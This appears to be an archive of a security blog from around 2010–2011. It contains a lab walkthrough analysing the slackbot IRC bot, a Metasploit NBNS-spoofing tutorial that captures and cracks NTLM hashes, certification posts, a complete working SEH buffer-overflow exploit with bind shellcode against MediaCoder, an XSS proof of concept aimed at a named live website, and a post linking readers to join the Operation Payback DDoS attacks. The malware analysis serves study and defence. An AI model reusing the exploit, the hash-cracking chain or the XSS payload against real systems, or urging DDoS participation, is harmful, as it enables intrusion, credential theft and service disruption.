2. If the command is indeed !@login, then the second strcmp at memory location 004020B9 confirms whether the 2 string values - for str1 and str2, pushed to stack at memory locations 004020B5 and 004020B6 respectively - match or not. The string value most certainly is the password which is to be used to authenticate to the bot.

If the strings match, EAX = 0, and the message at location 004020C5 is printed out. Else, the execution flow jumps to location 40210D.

Do re-read the above details again before you move on to the following steps.

After this session with the disassembler, we have some understanding of how the authentication is to work in this specimen.

Now it is time to trace the process execution flow. We will use Ollydbg, a simple to use and very powerful debugger for this task.

You can get Ollydbg here:

http://www.ollydbg.de/version2.html

From Wikipedia,

OllyDbg is an x86 debugger that emphasizes binary code analysis, which is useful when source code is not available. It traces registers, recognizes procedures, API calls, switches, tables, constants and strings, as well as locates routines from object files and libraries

Start the IRC server, and connect to the channel #jigyaasa from your analyst's / linux box.

Fire up Ollydbg and open the malware exe from C:\WINDOWS. Once it loads up in Ollydbg, press on the Start button - looks like the Play button. The execution is 'Paused' by default [ look at bottom right corner ].

From information gathered using disassembing the malware exe earlier, we know that the strcmp call which checks the two strings - str1 and str2 - in the !@login code block, is at memory location 004020B9.

This means that every time there is an authentication attempt made to the bot, the program execution will be passing through the memory location 004020B9. Therefore, we will now create a breakpoint at this location. This will help us analyze the state of registers and values at the point of authentication.

Press Ctrl+G, type 004020B9 and Ok. This will find the memory location of the strcmp call. Note that you may have to do a find twice. It's a little bug in Ollydbg.

Once you are at the memory location 004020B9, right click anywhere and create a breakpoint from the menu. Or simply press F2 key to create the breakpoint.

You can see the address turns red in color as soon as the breakpoint is set.

Now go to the IRC channel and enter !@login <any_password>. In our case, I entered !@login botpassword. You will not get any response. But look at the Ollydbg now. The breakpoint has been hit. The execution paused at location 004020B9, i.e. the strcmp call.

If you look at the stack pane of Ollydbg, which is the bottom right, you will see some interesting values. You see here that the locations 0012F7E8 and 0012F7EC point to addresses on stack where the values for strings s1 and s2 are stored. Here we are able to see the s1 which is the password we entered at the IRC channel, and s2, with which our password is being compared to. The value of s2 is "jigyaasa" and this will successfully authenticate us to the bot.

We have found the correct password. So you now go ahead and kill the malware process nwhyy.exe, and run it again, through Ollydbg.

Once the bot joins the channel, enter the command:

!@login jigyaasa

You see that the bot now responds with 'pass accepted'. Try to run a command remotely using:

!@run notepad.exe

The bot responds with 'file executed'. Let's see the screen at the Windows XP box where the bot is installed. We see the command has executed successfully and 'notepad' is opened remotely.

To conclude this exercise with today's notes, we studied some code elements of the specimen and were able to understand its command execution flow. We used IDA Pro disassembler and Ollydbg debugger to gain insight into the malware's structure and operations. In the end, we have been able to authenticate and gain control over the bot.

You can now remove the bot from the lab test machine by entering

!@remove

Finally. do remember to revert your Windows VM infected with slackbot.exe to a previous clean snapshot.

++++++++++++++++++++++++++++++++++++++++++++++++++

Though I've tried to cover the analysis process correctly and with as much detail as possible, I am no expert. So in case you find any error, or have questions & feedback, feel free to comment. I'll appreciate it.

Analyzing malware [ slackbot ] - I

2011-07-10T04:16:00.004+05:30

Before starting along these analysis posts, I suggest you to read this post in order to gain understanding of the methodology to reverse engineering malware, my malware lab setup, & study resources.

Behavioral Analysis

In this phase, we will observe the various behaviors exhibited by the specimen. We will monitor the following:

1. File system changes

-> Identify and record any additions, updates, deletes made to the file system and registry by the specimen

2. Network access

-> Identify and record any new listening ports, and outgoing connection attempts

: IP addresses, ports, and services.

Before starting analysis and / or executing the malware specimen, we must document the md5sum / sha1sum of the executable. We will see why, in a moment.

We will now use RegShot to take snapshots of Windows registry. You can get it from sourceforge [ http://sourceforge.net/projects/regshot/ ]

From the RegShot project page,

Regshot is an open-source(GPL) registry compare utility that allows you to quickly take a snapshot of your registry and then compare it with a second one - done after doing system changes or installing a new software product.

Remember to check 'Scan dir1' as this will enable monitoring any changes made to C:\. If you have multiple locations you'd like to include, you can put them along with C:\. This first shot will act as a baseline of a clean system, i.e. before infection from the malware.

Next, we are going to use CaptureBAT. This utility is freely available from the Honeynet project [ https://www.honeynet.org/node/315 ]

From the CaptureBAT project site,

This is a behavioral analysis tool of applications for the Win32 operating system family. Capture BAT is able to monitor the state of a system during the execution of applications and processing of documents, which provides an analyst with insights on how the software operates even if no source code is available. Capture BAT monitors state changes on a low kernel level and can easily be used across various Win32 operating system versions and configurations. CaptureBAT is developed and maintained by Christian Seifert of the NZ Chapter.

We have configured CaptureBAT to log any read / write access attempts to registry, as well as log network traffic.

Open up 'Process Explorer' - procexp.exe. Process Explorer is a handy utility by Sysinternals, now under Microsoft umbrella.

From the Process Explorer project site [ http://technet.microsoft.com/en-us/sysinternals/bb896653 ],

Ever wondered which program has a particular file or directory open? Now you can find out. Process Explorer shows you information about which handles and DLLs processes have opened or loaded.
The Process Explorer display consists of two sub-windows. The top window always shows a list of the currently active processes, including the names of their owning accounts, whereas the information displayed in the bottom window depends on the mode that Process Explorer is in: if it is in handle mode you'll see the handles that the process selected in the top window has opened; if Process Explorer is in DLL mode you'll see the DLLs and memory-mapped files that the process has loaded. Process Explorer also has a powerful search capability that will quickly show you which processes have particular handles opened or DLLs loaded.The unique capabilities of Process Explorer make it useful for tracking down DLL-version problems or handle leaks, and provide insight into the way Windows and applications work.

Once all the monitoring is in place, go ahead and execute the malware specimen and wait for 30-60 seconds. You will find that slackbot.exe actually spawned another process '<random_chars>.exe'. The process name is a random text. Kill this process by selecting it in Process Explorer, right click and 'Kill Process.'

Stop CaptureBAT by pressing 'Return / Enter' key.

Post Infection

Let's take second snapshot of the registry now.

Once second snapshot is taken, you'll notice that 'Compare' button has highlighted. Go ahead & press 'Compare'. This will compare snapshots before and after malware infection. The output file is stored in C:\, as it's set the Output path.

RegShot output log shows us all the keys that were added, modified and deleted by the specimen.

Let's also look at CaptureBAT log output.

CaptureBAT log output clearly shows the malware specimen has accessed the file system, added new files, and modified existing files. Any network traffic sent out is also captured in the form of .pcap files, which can be opened up in Wireshark. CaptureBAT also saves any deleted files and modified files retaining the appropriate directory structure where the change occurred. Also, notice in the log, that the slackbot.exe creates a new process, mmra.exe, in C:\WINDOWS\ directory, and then kills itself.

Let's take a md5sum of this new executable.

Note: I ran the malware once more during testing, so the new exe name will be different in the following screen caps. Just FYI... the file name does not really matter.

When we started above with md5sum, I had mentioned we will see the necessity of md5sum during malware analysis in a moment. Here it is... we see that the md5sum of both the original specimen exe and the new executable nwhyy.exe, which was spawned out from the slackbot.exe, has the same md5. This means that both the files are exactly the same. The slackbot.exe simply copied itself over to C:\WINDOWS.

Now let's take a pause and review what we have found until now.

1. The malware specimen is creating a copy of itself and runs from the new location [ C:\WINDOWS\ ]

2. Registry entries are modified to start the specimen exe once the system starts

3. There is a potential outbound network access attempted

It's time now to start looking into the new specimen exe nwhyy.exe for any readable strings. It may give us some hint.

To do this, we can either use the 'strings' utility on *nix based or on Windows systems.

man strings

DESCRIPTION
the options below) and are followed by an unprintable character. By default, it only prints the strings from the initialized and loaded sections of object files; for other types of files, it prints the strings from the whole file.
strings is mainly useful for determining the contents of non-text files.
For each file given, GNU strings prints the printable character sequences that are at least 4 characters long (or the number given with

On Windows based systems, we can also use 'Bintext' [ http://www.mcafee.com/us/downloads/free-tools/bintext.aspx ]

From the BinText project site,

A small, very fast and powerful text extractor that will be of particular interest to programmers. It can extract text from any kind of file and includes the ability to find plain ASCII text, Unicode (double byte ANSI) text and Resource strings, providing useful information for each item in the optional "advanced" view mode. Its comprehensive filtering helps prevent unwanted text being listed. The gathered list can be searched and saved to a separate file as either a plain text file or in informative tabular format.

As you see, there is not much readable text obtained, implying that the specimen code is obfuscated in some way. If you look at the text in the upper 2-3 rows of the strings / bintext output, you'll notice that it is telling us about UPX.

UPX is a well-known packer [ http://upx.sourceforge.net/ ]

From the UPX project site,

UPX achieves an excellent compression ratio and offers very fast decompression. Your executables suffer no memory overhead or other drawbacks for most of the formats supported, because of in-place decompression. UPX strengths in a nutshell:excellent compression ratio: typically compresses better than WinZip/zip/gzip, use UPX to decrease the size of your distribution!

You can read more about UPX on wikipedia: http://en.wikipedia.org/wiki/UPX

Now you know, the specimen nwhyy.exe, is packed with UPX. So, we will just go ahead and decompress the specimen with UPX itself. In cases where we do not know which native packer has been used to pack the malware specimen, we will have to unpack the specimen manually, which is a different process altogether.

UPX decompresses the file and replaces the original file, nwhyy.exe.

Let's see if we can find any readable strings in this unpacked exe.

Cool! Now you can see several readable strings in the exe. The highlighted text in the above screen capture looks like commands and respective response messages.

Let's look at the md5sum again w.r.t this new unpacked executable.

As expected, the md5sum of the last exe is different than the original slackbot.exe. This nwhyy.exe is a new, raw, unobfuscated malware executable.

Now that we have identified and documented file system related changes done by the malware specimen, we will proceed to identify network related events / actions.

Wireshark is the go-to tool for network traffic monitoring. Let's fire up wireshark and run the executable again.

Here you see that the malware is trying to resolve the following three domains:
1. sb.webhop.org
2. malware.lab.server [ this is the custom domain I configured into the malware specimen ]
3. irc.slim.org.au

In order to gain insight into what and why of these network access attempts by the malware, we will give it what it wants. It is sending out name resolution requests to get the IP address of the domains, so we will give it the IP address. The catch is, we will tell the malware that the domain(s) it wants to reach, refer to us, i.e. 172.72.5.1.

One way we can do this, is by modifying the 'hosts' file and adding the IP-hostname mapping in it.

We will start with sb.webhop.org. We will add a IP-hostname entry in the C:\WINDOWS\system32\drivers\etc\hosts file for sb.webhop.org.

Save the hosts file and ping the domain address. You should receive a ping response from 172.72.5.1.

Once malware is able to resolve sb.webhop.org, we kill the malware process, restart traffic capture in wireshark and run the specimen again. You will see that it is trying to establish a HTTP connection.

Kill the nwhyy.exe through Process Explorer.

We will now set up a netcat listener on port 80 and execute the specimen. This simple set up with help us gather connection request header info immediately.

Netcat listener is set up using the following command:

nc -lv 80
where
-l -> listening mode
-v -> verbose
80 -> port to listen on

In the connection request captured, we see that the malware is using a custom Referer and User-Agent. Second, the User-Agent is of Windows 98, which is certainly incorrect as the traffic had originated from Windows XP Sp2.

So overall, this is making the requests seem to come from 'hxxp://psychward.slak.org'. Ads and affiliates, more traffic that comes from affiliate, more commission that goes to affiliate, you see the point.?!

Kill the process nwhyy.exe now.

Let's move on to malware.lab.server. This is a custom irc server I added to the bot specimen. Botherders can add multiple irc/http servers to act as command-and-control. The bot will then contact these command & control servers in case other servers are unavailable / unreachable.

As earlier, we will add a new hosts file entry to make the domain resolve to us, 172.72.5.1.

You can confirm the reachability by pinging the domain name. It should resolve correctly and ping responses are received.

If you start sniffing via wireshark again and run the malware exe, you will see IRC connection attempts to 172.72.5.1. Since there is no irc server running on our box, the connections are RST back.

Doing a 'Follow TCP Stream' on the connection originating from 172.72.5.135 - the infected box - we see that this is an IRC request, and the channel is #jigyaasa.

Kill the malware process and now let's start an IRC server [ iirc-hybrid ] on our box.

After starting the IRC server, we join in to the channel #jigyaasa. Joining the channel first, ensures that we have the OP privileges. This privilege is like an admin privilege to be able to control the channel and its users.

Run the malware exe, & you will find a new client is connected to our IRC server, the client originates from 172.72.5.135. Based on the command strings that we found inside the unpacked exe earlier, go ahead & enter some commands in the IRC channel.

You'll notice that the commands !@id and !@sysinfo run fine and give the output out. But commands like !@login and !@run do not show any message, no output or any sign of execution. If you try to talk to the bot with a random text, there is no response. Looking at this behavior, it is certain that there is an authentication mechanism built into the bot. Only once the analyst / bot herder authenticates, can (s)he can run privileged actions like remote execution.

To conclude, we have derived the following info from network traffic analysis:
1. Bot sends HTTP connection requests with modified headers to sb.webhop.org - objective is to increase traffic stats coming from the host [ hxxp://psychward.slak.org ]
2. Bot attempts to connect to a potential command n control server - malware.lab.server, in our scenario - channel #jigyaasa, with a random NICK, and has both unprivileged & privileged commands

++++++++++++++++++++++++++++++++++++++++++++++++++

Now at this stage, we have studied potential ways in which this bot interacts and have collected sufficient information about it. The behavioral analysis phase can be paused for now and we can proceed to the Code analysis phase.

Analyzing Malware - begin

2011-07-10T03:47:00.003+05:30

Hi folks,

In the upcoming posts, I will presenting a step by step process to analyze a piece of malware. I will be analyzing Slackbot. It is an old bot but nevertheless, customizable and useful in learning the malware analysis process.

One of the most important things to ensure is that all of the analysis is performed in a lab network. The lab network must be isolated completely from the production environment. Another crucial point is to use virtual machine snapshots during the analysis. Snapshots allow you to revert back to a clean copy of OS & machine set up during and after the analysis.

This is a general topology of the network set up I have used for this session:

Set up the host network on VMWare / Virtualbox and configure a DHCP server for this subnet. The hosts connected to this network be assigned IP addresses from this pool only.

Lenny Zeltser [ http://zeltser.com ] has written extremely useful post and a cheat sheet for Reverse Engineering malware. It talks about the approach analysts should take, various phases in reversing malware, tools you can use in each step, how to use the tools, time saving techniques using tools as well bypassing malware defenses in response to reversing. A very good read, get it here: http://zeltser.com/reverse-malware/reverse-malware-cheat-sheet.html

The analysis I am gonna post is based on Lenny's cheat sheet above. Here's the reversing methodology:

General Approach

Set up a controlled, isolated laboratory in which to examine the malware specimen.
Perform behavioral analysis to examine the specimen’s interactions with its environment.
Perform static code analysis to further understand the specimen’s inner-workings.
Perform dynamic code analysis to understand the more difficult aspects of the code.
If necessary, unpack the specimen.
Repeat steps 2, 3, and 4 (order may vary) until sufficient analysis objectives are met.
Document findings and clean-up the laboratory for future analysis.

If you are keen on starting up on or polishing your reversing skills, following is a list of few books. I read and refer to these books for practicing reversing and malware analysis as and when I get time out of projects.

Another awesome learning resource is SANS 610 Reverse Engineering Malware [ GREM ] course. You can have it via self-study, live onsite or vLive [ over the internet ].

Passed GIAC GREM Exam

2011-06-21T09:30:00.004+05:30

Hey guys, I passed GIAC GREM this June 05, 2011. GREM is the Reverse Engineering Malware [ SANS 610 class ]. I find the RE stuff pretty cool. You get to learn how to analyze web, doc, pdf, and flash based malware; plus the fundamentals of exploit dev, vectors and similar sexy dope.

GIAC GREM

If you have any questions, feel free to comment n ask here.

Cheers!

RSS Feed url fixed

2011-04-21T06:03:00.000+05:30

It's been a while I was thinking of checking why feeds were not flowing out. So I spent a few hours tonight [ it's morning now, GM ] and realized there had been a sort of loop issue b/w google feed setting vis-a-vis feedburner.

The feed url is fixed now and I've added 'Subscribe' on the down left of the blog. You can subscribe to iPositiveSecurity using your fav feed reader.

I'll sign off now.

Take Good Care of yourself, people!

Metasploit NBNS Auxiliary FTW

2011-04-15T14:28:00.007+05:30

Metasploit's NBNS auxillary module in action. I will be using Metasploit Express for the exercise. The objective is to gain access to victim's password.

This video is based on Packetstan's awesome tutorial. Do check it out here for full details:
http://www.packetstan.com/2011/03/nbns-spoofing-on-your-way-to-world.html

Let's begin..
First we start the Metasploit auxiliary NBNS module:

auxiliary/spoof/nbns/nbns_response

-> NBNS queries are sent out as broadcast. So we will now intercept the requests and send our spoofed NBNS responses to the victim. This will poison the name lookup.

msf auxiliary(nbns_response) > show options

Module options (auxiliary/spoof/nbns/nbns_response):

   Name     Current Setting Required Description
   ----     --------------- -------- -----------
   REGEX    .*               yes       Regex applied to determene if spoofed reply is sent
   SPOOFIP 172.72.5.1       yes       IP address with which to poison responses
   VERBOSE true             no        Determines whether to display responses

msf auxiliary(nbns_response) > run
[*] Auxiliary module execution completed

[*] NBNS Spoofer started. Listening for NBNS requests...
msf auxiliary(nbns_response) >

As soon as an end-client sends out a name resolution query, our NBNS response server responds back saying it's the one the client is looking for.

[*] Packet Recieved from 172.72.5.139
[*] Regex matched PLAYGROUND1 from 172.72.5.139. Sending reply...

Now that we have controlled the name resolution, we can start rogue / fake services at our end - such as a file server [ smb ], and a web server [ http ].

The idea is to set up these fake services, and capture the hashes when the victim attempts to access them.

Configure and start the following modules:

auxiliary/server/capture/smb

msf auxiliary(smb) > show options

Module options (auxiliary/server/capture/smb):

   Name        Current Setting   Required Description
   ----        ---------------   -------- -----------
   CAINPWFILE                    no        The local filename to store the hashes in Cain&Abel format
   CHALLENGE   1122334455667788 yes       The 8 byte challenge
   JOHNPWFILE                    no        The prefix to the local filename to store the hashes in JOHN format
   LOGFILE     /tmp/smblog       no        The local filename to store the captured hashes
   SRVHOST     172.72.5.1        yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT     445               yes       The local port to listen on.
   SSL         false             no        Negotiate SSL for incoming connections
   SSLVersion SSL3              no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)

auxiliary/server/capture/http_ntlm

msf auxiliary(http_ntlm) > show options

Module options (auxiliary/server/capture/http_ntlm):

   Name        Current Setting   Required Description
   ----        ---------------   -------- -----------
   CHALLENGE   1122334455667788 yes       The 8 byte challenge
   LOGFILE     /tmp/httplog      no        The local filename to store the captured hashes
   PWFILE                        no        The local filename to store the hashes in Cain&Abel format
   SRVHOST     172.72.5.1        yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT     80                yes       The local port to listen on.
   SSL         false             no        Negotiate SSL for incoming connections
   SSLVersion SSL3              no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   URIPATH     /                 no        The URI to use for this exploit (default is random)

When the user attempts to authenticate / access the SMB / HTTP services, our rogue server responds and the end-client sends it's hashed credentials for getting authenticated.

msf auxiliary(smb) > [*] 2011-04-19 16:20:17 +0530
NTLMv1 Response Captured from 172.72.5.139:1063
PLAYGROUND1\Administrator OS:Windows 2002 Service Pack 3 2600 LM:Windows 2002 5.1
LMHASH:76365e2d142b56125b01a43c055c22ccd736fb4bab100a50
NTHASH:046e38a3f14de43e947446e86925eb365a4cfa09599aa04a

msf auxiliary(http_ntlm) > [*] Packet Recieved from 172.72.5.139
[*] Regex matched SERVER from 172.72.5.139. Sending reply...
[*] Request '/' from 172.72.5.139:1058
[*] Request '/' from 172.72.5.139:1058
[*] Request '/' from 172.72.5.139:1058
[*] 172.72.5.139: PLAYGROUND1\Administrator 76365e2d142b56125b01a43c055c22ccd736fb4bab100a50:046e38a3f14de43e947446e86925eb365a4cfa09599aa04a on PLAYGROUND1

We have configured logging location in module options and these hashes are captured in their respective log files.

root@victor:Tools# cat /tmp/smblog
2011-04-19 16:20:17 +0530
NTLMv1 Response Captured from 172.72.5.139:1063
PLAYGROUND1\Administrator OS:Windows 2002 Service Pack 3 2600 LM:Windows 2002 5.1
LMHASH:76365e2d142b56125b01a43c055c22ccd736fb4bab100a50
NTHASH:046e38a3f14de43e947446e86925eb365a4cfa09599aa04a

root@victor:Tools# cat /tmp/httplog
2011-04-19 16:17:49 +0530:172.72.5.139:PLAYGROUND1:PLAYGROUND1:Administrator:76365e2d142b56125b01a43c055c22ccd736fb4bab100a50:046e38a3f14de43e947446e86925eb365a4cfa09599aa04a

But these hashes are salted with a challenge, which means cracking them is not feasible. For salted hashes, we will use Rainbow tables.

Download the free Rainbow tables here:
ftp://freerainbowtables.mirror.garr.it/mirrors/freerainbowtables/halflmchall/

Using rcracki [ http://sourceforge.net/projects/rcracki/ ] and the rainbow tables, we now crack the first half of the LM hash. We only have to take first 16 characters from the LM hash and use it with rcracki_mt as follows:

./rcracki_mt -h <first 16 chars of LM hash> /path/to/rainbowtables/

[ First 16 chars of LM hash in this instance -> 76365e2d142b5612 ]

So the command I run is:

./rcracki_mt -h 76365e2d142b5612 /halflmchall_all-space#1-7_0/

First portion cracked

### output snipped ###

statistics

-------------------------------------------------------

plaintext found: 1 of 1 (100.00%)

total disk access time: 23.17 s

total cryptanalysis time: 16.95 s

total pre-calculation time: 260.47 s

total chain walk step: 199970001

total false alarm: 1669

total chain walk step due to false alarm: 12603773

result

-------------------------------------------------------

76365e2d142b5612 PASSWOR hex:50415353574f52

### output snipped ###

Aha..we have got first portion of the password [ PASSWOR ]. Now we feed this portion of password as a seed to netntlm.pl [ found in john install directory ]. The input file should have the hashes in john-compatible format [ from smblog ] or in the following format from httplog:

<user>:::<LMHASH>:<NTLMHASH>:<Metasploit_static_CHALLENGE>

i.e. in the format as follows ->

root@victor:Tools# cat /tmp/nbns
playground\administrator:::76365e2d142b56125b01a43c055c22ccd736fb4bab100a50:046e38a3f14de43e947446e86925eb365a4cfa09599aa04a:1122334455667788

netntlm.pl is run as follows:

./netntml.pl --seed <first_portion> --file nbns

root@victor:run#./netntml.pl --seed PASSWOR --file /tmp/nbns

So we have the uppercase password -> PASSWORK

Now we have got the full password. But as we can see here, it is all uppercase. We need to run it through the previous command again - i.e.

root@victor:run#./netntml.pl --seed PASSWORK --file /tmp/nbns

- and we will get the password in it's true case.

Performing NTLM case-sensitive crack for account: playground\administrator.

guesses: 1 time: 0:00:00:00 100.00% (ETA: Tue Apr 12 17:19:56 2011) c/s: 1163 trying: passwork

Loaded 1 password hash (NTLMv1 C/R MD4 DES [netntlm])

passwork (playground\administrator)

We found the true case password -> "passwork" :)
We have the password and can now use it in further attacks such as using psexec.!

Metasploit NBNS Auxilary in action from KG on Vimeo.

Metasploit's Auxilary module netbios name spoofer is very convenient and effective in a pen test. Start the module, then set up fake services like smb / http, and then just lay back n watch hashes pop up...!

Thank You for watching!

Passed GIAC GCIH Exam

2011-04-06T13:17:00.001+05:30

Hey fellas,

After around a month's preparation post passing GPEN, I sat for and passed GIAC Incident Handling exam yesterday.

Here is the program detail:

GIAC Certified Incident Handler

This subject teaches about Incident Handling skills, and dives deep into various attack vectors. Also, interesting is to learn how to understand and apply this knowledge to attacks vis-a-vis the 6 Incident Handling phases.

The exam was gripping at all times, and I found a handful of pretty tricky questions in there too. I will not delve any detail on the questions, only that you should have decent experience in most / all the topics mentioned in the syllabii as well as have at least some exposure to handling events / incidents from a high level.

Here is the GCIH certification bulletin:

http://www.giac.org/certbulletin/gcih.php

Day 1 today, and I am already finding this knowledge very helpful. It is comforting to be able to relate methods n thought process of a penetration tester in confirming / exploiting security weaknesses in a customer environment, with the defensive approach of an Incident Handler. This brings out all the worth of GPEN n GCIH cos it is crucial to be able to help customers' infosec / security team understand ways an attacker can get in as well as recommendations pertaining to each of the phases of Incident handling process; i.e. preparation / identification / containment / eradication / recovery and lessons learned. And lastly and equally importantly, as a consultant, you can show the playground and the game to (non-tech) executives.

What say? Go for it!

Best Regards.

Passed GIAC GPEN Exam today

2011-03-14T23:23:00.001+05:30

Hey peeps,

My first post of this year. And what a busy lazy ass I've been since past few months.

So quick update is that I attended SANS 560 class in February 2011. And sat for the exam today March 14, 2011 here at a local kryterion center, that's actually exactly 3 weeks later.

Briefly hissing, I completed the test in around 2:30 hours out of 4 and scored a decent 93%.

Yeah, I passed. I am GIAC GPEN certified now. Yay!

I hope I can use this weekend to try put down my study plan in a new post.

Ping me if you've any questions etc.

Keep learning.!

MediaCoder v0.7.5.4796 Local Buffer Overflow [ SEH ]

2010-12-09T04:38:00.003+05:30

Recently I came across EDB http://www.exploit-db.com/exploits/15630 - MediaCoder v0.7.5.4792 SEH overflow exploit.

So, decided to verify the current release 0.7.5.4796 as well. There is a buffer overflow in this version which can allow an attacker to gain complete control of the system running this application.

Here is the exploit I wrote, for educational purposes only of course. :-)

#!/usr/bin/python

import sys

# Tested on XP Pro SP2 [ Eng ] and XP Pro SP3 [ Eng ]
# Download: http://www.mediacoderhq.com/getfile.htm?site=download.mediacoderhq.com&file=MediaCoder-0.7.5.4796.exe

print "\n"
print "#"
print "********************************************************************* *"
print "#                                                                                                   #"
print "* MediaCoder version <=v0.7.5.4796 SEH Buffer Overflow    *"
print "* Author : Karn Ganeshen                                                           *"
print "* Date : December 05, 2010                                                        *"
print "* KarnGaneshen [aT] gmail [d0t] c0m                                        *"
print "* http://ipositivesecurity.blogspot.com                                        *"
print "#                                                                                                  #"
print "**********************************************************************"
print "#\n"

if len(sys.argv) > 1:
    print "Usage: ./mcoder.py\n"
    sys.exit(1)

junk = "\x41" * 764
nseh = "\xEB\x06\x90\x90"# Short jump
seh = "\x87\x71\x01\x66" # 0x66017187 / C:\Program Files\MediaCoder\libiconv-2.dll
nops = "\x90" * 24

# win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com
shellcode = ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x37\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x43"
"\x58\x30\x41\x31\x50\x41\x42\x6b\x41\x41\x53\x32\x41\x42\x41\x32"
"\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x4a\x49\x79\x6c\x62"
"\x4a\x48\x6b\x70\x4d\x38\x68\x6c\x39\x4b\x4f\x79\x6f\x6b\x4f\x73"
"\x50\x4c\x4b\x72\x4c\x46\x44\x57\x54\x4e\x6b\x31\x55\x67\x4c\x4e"
"\x6b\x63\x4c\x34\x45\x62\x58\x46\x61\x48\x6f\x4e\x6b\x50\x4f\x44"
"\x58\x6c\x4b\x51\x4f\x45\x70\x44\x41\x6a\x4b\x70\x49\x6e\x6b\x35"
"\x64\x4c\x4b\x53\x31\x78\x6e\x75\x61\x6b\x70\x4f\x69\x6e\x4c\x4b"
"\x34\x4f\x30\x53\x44\x57\x77\x6f\x31\x4b\x7a\x74\x4d\x75\x51\x69"
"\x52\x68\x6b\x48\x74\x57\x4b\x70\x54\x64\x64\x47\x58\x50\x75\x6d"
"\x35\x4c\x4b\x31\x4f\x36\x44\x56\x61\x78\x6b\x63\x56\x6c\x4b\x54"
"\x4c\x70\x4b\x4e\x6b\x53\x6f\x75\x4c\x47\x71\x5a\x4b\x63\x33\x54"
"\x6c\x4e\x6b\x6b\x39\x30\x6c\x44\x64\x35\x4c\x71\x71\x5a\x63\x34"
"\x71\x6b\x6b\x72\x44\x6c\x4b\x37\x33\x76\x50\x4e\x6b\x71\x50\x56"
"\x6c\x6c\x4b\x44\x30\x65\x4c\x4c\x6d\x4c\x4b\x77\x30\x35\x58\x61"
"\x4e\x62\x48\x6c\x4e\x62\x6e\x44\x4e\x38\x6c\x50\x50\x4b\x4f\x5a"
"\x76\x45\x36\x70\x53\x41\x76\x32\x48\x70\x33\x56\x52\x45\x38\x42"
"\x57\x72\x53\x34\x72\x63\x6f\x72\x74\x6b\x4f\x78\x50\x72\x48\x38"
"\x4b\x58\x6d\x6b\x4c\x65\x6b\x42\x70\x49\x6f\x69\x46\x71\x4f\x6c"
"\x49\x6a\x45\x65\x36\x4f\x71\x4a\x4d\x35\x58\x53\x32\x50\x55\x32"
"\x4a\x35\x52\x49\x6f\x48\x50\x31\x78\x7a\x79\x36\x69\x4c\x35\x6c"
"\x6d\x70\x57\x39\x6f\x6e\x36\x70\x53\x32\x73\x62\x73\x56\x33\x52"
"\x73\x73\x73\x52\x73\x33\x73\x30\x53\x6b\x4f\x4a\x70\x35\x36\x75"
"\x38\x52\x31\x41\x4c\x61\x76\x50\x53\x4d\x59\x4d\x31\x4d\x45\x55"
"\x38\x69\x34\x56\x7a\x42\x50\x5a\x67\x36\x37\x79\x6f\x7a\x76\x61"
"\x7a\x76\x70\x66\x31\x73\x65\x39\x6f\x68\x50\x41\x78\x4d\x74\x4e"
"\x4d\x76\x4e\x68\x69\x42\x77\x79\x6f\x59\x46\x36\x33\x66\x35\x69"
"\x6f\x6e\x30\x45\x38\x4b\x55\x51\x59\x6f\x76\x72\x69\x42\x77\x6b"
"\x4f\x4a\x76\x70\x50\x46\x34\x36\x34\x53\x65\x79\x6f\x6e\x30\x6c"
"\x53\x65\x38\x4b\x57\x70\x79\x5a\x66\x52\x59\x30\x57\x69\x6f\x6a"
"\x76\x30\x55\x59\x6f\x6e\x30\x70\x66\x70\x6a\x53\x54\x72\x46\x62"
"\x48\x65\x33\x50\x6d\x6c\x49\x4d\x35\x31\x7a\x52\x70\x70\x59\x44"
"\x69\x7a\x6c\x4c\x49\x69\x77\x51\x7a\x71\x54\x4f\x79\x4b\x52\x34"
"\x71\x39\x50\x4c\x33\x4d\x7a\x6b\x4e\x71\x52\x44\x6d\x6b\x4e\x37"
"\x32\x54\x6c\x4e\x73\x4e\x6d\x33\x4a\x56\x58\x6c\x6b\x6c\x6b\x6e"
"\x4b\x53\x58\x64\x32\x69\x6e\x6c\x73\x44\x56\x6b\x4f\x73\x45\x47"
"\x34\x4b\x4f\x79\x46\x33\x6b\x42\x77\x73\x62\x30\x51\x73\x61\x72"
"\x71\x62\x4a\x33\x31\x42\x71\x50\x51\x72\x75\x50\x51\x49\x6f\x78"
"\x50\x71\x78\x4e\x4d\x39\x49\x75\x55\x6a\x6e\x70\x53\x4b\x4f\x59"
"\x46\x32\x4a\x4b\x4f\x49\x6f\x56\x57\x69\x6f\x5a\x70\x4e\x6b\x33"
"\x67\x49\x6c\x6d\x53\x39\x54\x55\x34\x39\x6f\x4b\x66\x31\x42\x69"
"\x6f\x4a\x70\x62\x48\x78\x70\x4d\x5a\x35\x54\x63\x6f\x70\x53\x39"
"\x6f\x4e\x36\x39\x6f\x38\x50\x43")

more = "\x90" * 10

exploit = junk + nseh + seh + nops + shellcode + more

try:
    f = open("evil.m3u",'w')
    f.write(exploit)
    f.close()
    print "[+] Generating exploit file..."
    print "[+] +++Evil m3u created+++ ^_^\n"
except:
    print "[!] +++Error occured+++ \n"

Update: It's on packetstorm now [ http://packetstormsecurity.org/files/view/99350/mcoder-localBufferOverflow.py.txt ]

Best Regards.

Pro Wikileaks Hacker Groups take action

2010-12-09T03:51:00.000+05:30

Okay folks. This is probably the most visible conflict being fought in the cyber world right now.

Several days of DDoS coming back n forth..

Operation Payback is a pro-wikileaks response. It successfully took down mastercard for around 11 hours.

And now Visa.com has been taken down.

If you have available resources [ read: computing power ] and would like to volunteer for Wikileaks support, check here:

http://pastehtml.com/view/1c8i33u.html

You can access Wikileaks here: http://213.251.145.96/ .

ESPN Cricinfo Cross Site Scripting (XSS)

2010-09-12T02:37:00.000+05:30

+++About ESPN Cricinfo+++
http://www.cricinfo.com/

+++Affected URL(s)+++
All URLs using vulnerable parameters

+++Vulnerable Parameters / Functions+++
genre
object
template
country
author
site_area

... and perhaps more!

+++PoC+++

http://www.cricinfo.com/talk/content/current/multimedia/feature.html?genre=21'"/><script>alert("XSS from genre")</script>
